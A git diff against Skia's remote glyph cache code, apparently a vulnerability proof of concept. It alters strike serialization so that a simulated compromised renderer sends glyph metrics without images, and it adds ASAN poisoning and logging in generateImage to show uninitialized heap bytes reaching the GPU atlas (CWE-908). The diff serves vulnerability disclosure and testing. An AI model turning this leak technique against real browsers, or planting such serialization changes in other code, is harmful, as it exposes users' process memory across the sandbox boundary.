diff --git a/third_party/skia/src/core/SkStrike.cpp b/third_party/skia/src/core/SkStrike.cpp index 22d63a479a..75df71e63a 100644 --- a/third_party/skia/src/core/SkStrike.cpp +++ b/third_party/skia/src/core/SkStrike.cpp @@ -92,19 +92,27 @@ SkStrike::FlattenGlyphsByType(SkWriteBuffer& buffer, SkTFitsIn(paths.size()) && SkTFitsIn(drawables.size())); - buffer.writeInt(images.size()); + // ==== POC: COMPROMISED-RENDERER SIMULATION ==== + // A compromised renderer is free to put DirectMask glyphs into the *paths* + // section of the strike payload (imagesCount=0). The GPU process will then + // create the SkGlyph with valid metrics (width/height/format) but + // fImage == nullptr. When AtlasTextOp later asks for the image, + // SkScalerContextProxy::generateImage() is a no-op and the freshly + // sk_malloc'd buffer is returned uninitialized. + buffer.writeInt(0); // imagesCount = 0 + + buffer.writeInt(images.size() + paths.size()); for (SkGlyph& glyph : images) { SkASSERT(SkMask::IsValidFormat(glyph.maskFormat())); glyph.flattenMetrics(buffer); - glyph.flattenImage(buffer); + buffer.writeBool(false); // hasPath = false; metrics only, no image. } - - buffer.writeInt(paths.size()); for (SkGlyph& glyph : paths) { SkASSERT(SkMask::IsValidFormat(glyph.maskFormat())); glyph.flattenMetrics(buffer); glyph.flattenPath(buffer); } + // ==== END POC ==== buffer.writeInt(drawables.size()); for (SkGlyph& glyph : drawables) { diff --git a/third_party/skia/src/core/SkTypeface_remote.cpp b/third_party/skia/src/core/SkTypeface_remote.cpp index fb3fb60eeb..f549ca3d10 100644 --- a/third_party/skia/src/core/SkTypeface_remote.cpp +++ b/third_party/skia/src/core/SkTypeface_remote.cpp @@ -9,6 +9,7 @@ #include "include/core/SkDrawable.h" #include "include/core/SkFontMetrics.h" +#include "include/private/base/SkASAN.h" #include "include/private/base/SkDebug.h" #include "include/private/base/SkMalloc.h" #include "include/private/chromium/SkChromeRemoteGlyphCache.h" @@ -44,12 +45,29 @@ SkScalerContext::GlyphMetrics SkScalerContextProxy::generateMetrics(const SkGlyp return {glyph.maskFormat()}; } -void SkScalerContextProxy::generateImage(const SkGlyph& glyph, void*) { +void SkScalerContextProxy::generateImage(const SkGlyph& glyph, void* imageBuffer) { TRACE_EVENT1("skia", "generateImage", "rec", TRACE_STR_COPY(this->getRec().dump().c_str())); if (this->getProxyTypeface()->isLogging()) { SkDebugf("GlyphCacheMiss generateImage: %s\n", this->getRec().dump().c_str()); } + // ==== POC: ASAN INSTRUMENTATION ==== + // This method is contractually required to fill |imageBuffer| with + // glyph.imageSize() bytes. It does not. The caller (SkGlyph::setImage) + // has just sk_malloc'd this buffer and will hand the still-uninitialized + // bytes to GrAtlasManager::get_packed_glyph_image which memcpy()s them + // into the atlas texture (CWE-908). ASAN does not detect uninitialized + // reads natively, so poison the region here: any subsequent read of these + // never-written bytes becomes a use-after-poison fault, proving the leak. + if (imageBuffer != nullptr && glyph.imageSize() > 0) { + SkDebugf("[POC] SkScalerContextProxy::generateImage NO-OP on %zu uninitialized bytes " + "at %p (glyph %u, %dx%d) -- poisoning for ASAN\n", + glyph.imageSize(), imageBuffer, glyph.getGlyphID(), + glyph.width(), glyph.height()); + sk_asan_poison_memory_region(imageBuffer, glyph.imageSize()); + } + // ==== END POC ==== + // There is no desperation search here, because if there was an image to be found it was // copied over with the metrics search. fDiscardableManager->notifyCacheMiss(